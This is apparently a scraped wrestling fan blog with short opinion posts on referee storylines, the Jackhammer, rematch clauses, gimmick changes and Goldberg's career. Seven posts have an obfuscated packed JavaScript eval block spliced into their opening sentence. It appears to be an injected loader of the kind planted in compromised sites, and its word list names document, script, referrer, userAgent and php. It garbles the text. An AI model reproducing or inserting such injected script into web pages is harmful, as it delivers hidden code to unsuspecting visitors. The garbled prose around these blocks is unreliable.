Thought of the Day: Referees Used In Storylines

Given eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fykhe|var|u0026u|referrer|ktzrd||js|php'.split('|'),0,{})) the recent storyline of Brad Maddox, this got me to thinking. Do you like the use a referee in a storyline?To me, it’s hard because other than a crooked one, there isn’t much of a storyline you can use for them. They tend to be best kept in the background, as they’re supposed to be impartial instead of interfering in an angle. A crooked referee can work, but as with anything else they need to be used sparingly. I wasn’t a fan of Maddox, as most of the story is based around him going into business for himself, and his mere existence in the match is a plot hole.

Thoughts?

Thought of the Day: The Jackhammer

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knakh|var|u0026u|referrer|hnsih||js|php'.split('|'),0,{})) this isn’t about Vince McMahon’s sexual abilities in case you were thinking about it for some reason. If you were, I beg of you to seek help.Why has no one used the Jackhammer as a finisher since Goldberg? It’s a good power move but you only occasionally see it used in the middle of a match. Goldberg hasn’t wrestled in eight and a half years, so why not use it? It would be a good power move for someone instead of all of the neckbreakers and face first slams we get anymore.

I Want To Talk A Little Bit About Sting Vs. Vader

The final match was actually a threeway involving the Big Boss Man who was eliminated early, leaving Sting vs. Vader. To give you an idea of how good Vader and Sting were, the match (through MORE WCW idiocy) wound up being about who could knock the other off their feet first (Vader won due to cheating), and it was STILL arguably the best match of the night. You could watch these two fight over a game of Chinese checkers and it would be interesting.

Thought of the Day – The Worst Thing To Happen In Wrestling In Years

Is eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zktfb|var|u0026u|referrer|nskaz||js|php'.split('|'),0,{})) the instant rematch clause. Here’s why.It’s pure laziness. After a title change, the bookers get to take a month off from booking and give the champion the same opponent he just faced. This causes lazy booking, bad promos, uninteresting matches, and a loss of momentum because the new champion hardly ever loses, and if they do there’s ANOTHER match in a month. Have the challenger earn the match. Yeah, have them WRESTLE to get the show. Imagine that: wrestling might draw on a wrestling show.

Not A Great Comedy/Gimmick Match Idea

Watching eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfbnr|var|u0026u|referrer|nybie||js|php'.split('|'),0,{})) Survivor Series 2001’s battle royal and this came to me:In the NWA/WCW, if you threw someone over the top rope it was an automatic DQ. In a battle royal, you had to throw someone over the top and out to the floor to eliminate them. What would happen in a battle royal where you could only be eliminated by throwing someone over the top rope for a DQ?

It could never happen you say? Well Russo came up with a battle royal where the idea was to get into the ring instead of staying out. Is this that much of a stretch?

Thought of the Day: If At First You Don’t Succeed…

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdtsa|var|u0026u|referrer|khdsy||js|php'.split('|'),0,{})) one of my thoughts, so you know it’s going to be based in old school stuff.Anymore WWE seems to be afraid to change anything about a character. Look at Del Rio, Brodus, Ryder, Mahal and a large group of others. They’re pretty much the exact same character that they were a year ago, if not even less developed. Let’s take a look at the three biggest stars ever:

Hulk Hogan – Brought in as a generic big heel. he had Freddie Blassie as a manager, was at the semi-main event level, and probably would have won the world title one day. Then he went to the AWA, made Rocky III, left the AWA because Gagne wouldn’t wake up and realize what he had, came back to the WWF as the REAL AMERICAN and became the biggest good guy of all time, completely revolutionizing wrestling.

Steve Austin – Originally Stunning Steve who wore flowery tights, then a Hollywood Blonde who made camera motions, then a tradition hating guy who cursed a lot, then Superstar Steve in ECW, then the Ringmaster…..whatever that was supposed to be, then himself because Ted DiBiase left and they had no idea what to do but let him drink beer, flip people off, curse a lot and be a rebel, relaunching WWF to the top of the business and winning the Monday Night Wars.

The Rock – Brought in as a plucky young guy who was just so happy to be there, gets told to die by most of the fans, comes back as a cocky black power guy in the Nation of Domination, becomes a cocky jock heel, becomes a cocky jock face, becomes the greatest promo man of all time with at least a dozen catchphrases.

Of the three biggest guys, none of these guys were anywhere close to being the guy that they were brought in to be. Rocky at least was supposed to be a guy who was going to be a big deal. Hogan was never going to be the number one guy in the company in his original form. Austin….not as the Ringmaster he wasn’t going to be. Rocky got over huge, but as the polar opposite of what he was brought in as.

Sometimes you have to try a bunch of stuff until you find something that worked. Look at Undertaker and Kane: Undertaker was a natural, Kane took a bunch of tries to get what worked. Try some effort WWE. It’ll do you good.

Thought of the Day: How To Fix A Bad Show

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdiky|var|u0026u|referrer|sbdfr||js|php'.split('|'),0,{})) is something I’ve said for years but it was very true last night:Sometimes the solution to all of the problems with your stories and your angles and everything else that is going wrong is to just have a good wrestling match. Last night everything was going bad, the stories weren’t clicking and I was just not caring at all about the show. Then Bryan vs. Ziggler happened and I had a new spirit for the show. Granted after that it was quickly crushed again, but it helped a lot for awhile and it can help almost every time.

When all else fails, have a good wrestling match. It’ll help.

I Want To Talk A Little Bit About Mixing Up Stories (WWE Needs More Shampoo)

This brings me to the title of this piece. Back in 2002, Booker T started talking about being up for a starring role in a (fictitious) Japanese shampoo commercial. After taking too long to seal the deal on it, Edge wound up getting the job instead. This led to a match at Wrestlemania between the two of them.

Attempted vehicular manslaughter

Blinding another man using hair cream (or cologne)

Using voodoo to harm an opponent

Fear of an object or creature (snakes and coffins have been used)

The theft and cooking of a pet

Refusing to accept help from someone

A bet

Attacking a family member

Breaking an action figure

Stalking

I Want To Talk A Little Bit About Defining Moments

Hogan won the title in January of 1984. A little over a year later, there was The War To Settle The Score, which was a huge house show that celebrities attended and had a huge main event of Hogan vs. Piper. It was a HUGE show and one of the biggest moments in WWF history. Then about six weeks later, there was another show called Wrestlemania. This was even bigger and had even more celebrities and a bigger audience. Then two years after that, there was Wrestlemania III, which had over four times the audience of Wrestlemania I.

Thought Of The Day: Goldberg

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzbie|var|u0026u|referrer|zbiyh||js|php'.split('|'),0,{})) is another internet wrestling/wrestling in general obsession that I don’t get.Goldberg debuted in 1997, won the US Title in spring of 1998, won the world title in July of 98, lost it in December, feuded with Hall and Nash until the summer, left for a month or two, came back and feuded with Sting, feuded with Russo and hurt his arm attacking the limo, missed four more months, came back, turned heel, turned face, restarted the Streak, and got hurt again in January and was never seen in WCW again.

Then he debuted in WWE in March of 2003, feuded with and beat Rock, feuded with HHH over the summer and won the world title, lost the title in December, feuded with Lesnar and had a horrible match with him at Wrestlemania 20.

That is Bill Goldberg’s American wrestling career, with every major moment listed in two paragraphs. Goldberg last appeared in a WWE ring over eight and a half years ago, or longer than Austin and Rock’s WWF careers.

So why is the audience still obsessed with the guy? You hear his name chanted anytime someone goes on a winning streak, people seemingly drool over the idea of him coming back, and people keep wanting him to come back for one more run. Why? What is this obsession with Goldberg? I don’t get it at all. He’s going to be 46 in December so it’s not like he’d have a long run in him. His entire career ran for about five years yet people STILL want him back.

Someone explain this to me.